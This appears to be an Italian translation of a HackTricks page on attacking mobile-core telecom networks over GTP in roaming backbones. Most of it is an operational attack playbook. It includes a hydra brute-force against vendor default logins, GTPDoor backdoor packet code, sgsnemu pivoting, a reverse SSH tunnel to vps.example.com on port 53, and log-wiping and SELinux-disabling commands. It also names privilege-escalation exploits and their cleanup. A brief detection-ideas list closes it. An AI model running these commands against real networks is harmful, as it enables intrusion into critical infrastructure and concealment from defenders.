6.5 KiB
Raw Blame History

Telecom Network Exploitation (GTP / Roaming Environments)

{{#include ../../banners/hacktricks-training.md}}

Note

I protocolli del core mobile (GPRS Tunnelling Protocol GTP) spesso attraversano backbone di roaming GRX/IPX semi-fidati. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, qualsiasi punto d'accesso all'interno di un perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core. Le seguenti note raccolgono trucchi offensivi osservati sul campo contro SGSN/GGSN, PGW/SGW e altri nodi EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Un insieme sorprendentemente ampio di elementi di rete dei fornitori viene fornito con utenti SSH/Telnet hard-coded come root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Una lista di parole dedicata aumenta drasticamente il successo del brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Se il dispositivo espone solo un VRF di gestione, pivotare prima attraverso un jump host (vedere la sezione «SGSN Emu Tunnel» qui sotto).

1.2 Scoperta degli Host all'interno di GRX/IPX

La maggior parte degli operatori GRX consente ancora ICMP echo attraverso il backbone. Combinare masscan con le sonde UDP gtpv1 integrate per mappare rapidamente i listener GTP-C:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerazione degli Abbonati cordscan

Il seguente strumento Go crea pacchetti di Richiesta di Creazione PDP Context GTP-C e registra le risposte. Ogni risposta rivela l'attuale SGSN / MME che serve l'IMSI interrogato e, a volte, il PLMN visitato dall'abbonato.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Flag principali:

  • --imsi IMSI dell'abbonato target
  • --oper Home / HNI (MCC+MNC)
  • -w Scrivi pacchetti grezzi in pcap

Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Esecuzione di Codice su GTP GTPDoor

GTPDoor è un piccolo servizio ELF che lega UDP 2123 e analizza ogni pacchetto GTP-C in arrivo. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite /bin/sh -c. L'output stdout/stderr viene esfiltrato all'interno dei messaggi Echo Response in modo che non venga mai creata una sessione esterna.

Pacchetto PoC minimo (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Rilevamento:

  • qualsiasi host che invia Richieste Echo sbilanciate agli IP SGSN
  • flag di versione GTP impostato su 1 mentre il tipo di messaggio = 1 (Echo) deviazione dalle specifiche

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN fornisce un emulatore SGSN in grado di stabilire un contesto PDP verso un reale GGSN/PGW. Una volta negoziato, Linux riceve una nuova interfaccia tun0 raggiungibile dal peer in roaming.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Con un corretto hair-pinning del firewall, questo tunnel bypassa i VLAN solo per il segnale e ti porta direttamente nel data plane.

4.2 Tunnel SSH Reverse sulla Porta 53

Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno al tuo VPS in ascolto su :53 e tornare più tardi da casa:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Controlla che GatewayPorts yes sia abilitato sul VPS.

5. Canali Clandestini

Canale Trasporto Decodifica Note
ICMP EchoBackdoor ICMP Echo Req/Rep chiave di 4 byte + chunk di 14 byte (XOR) ascoltatore puramente passivo, nessun traffico in uscita
DNS NoDepDNS UDP 53 XOR (chiave = funnyAndHappy) codificato negli ottetti del record A osserva il sottodominio *.nodep
GTP GTPDoor UDP 2123 blob AES-128-CBC in IE privato si mescola con il legittimo chiacchiericcio GTP-C

Tutti gli impianti implementano watchdog che timestomp i loro binari e si riavviano se si bloccano.

6. Cheatsheet per l'Evasione della Difesa

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Escalation dei privilegi su NE legacy

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Suggerimento per la pulizia:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Strumenti

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS strumenti personalizzati descritti nelle sezioni precedenti.
  • FScan : scansioni TCP intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS WPAD malevolo
  • Microsocks + ProxyChains : pivoting SOCKS5 leggero
  • FRP (≥0.37) : attraversamento NAT / bridging delle risorse

Idee di Rilevamento

  1. Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce richieste di creazione del contesto PDP.
  2. Porte non standard (53, 80, 443) che ricevono handshake SSH da IP interni.
  3. Richieste Echo frequenti senza corrispondenti Risposte Echo potrebbero indicare beacon di GTPDoor.
  4. Alta frequenza di traffico ICMP echo-reply con campi identificatore/sequence grandi e non nulli.

Riferimenti

{{#include ../../banners/hacktricks-training.md}}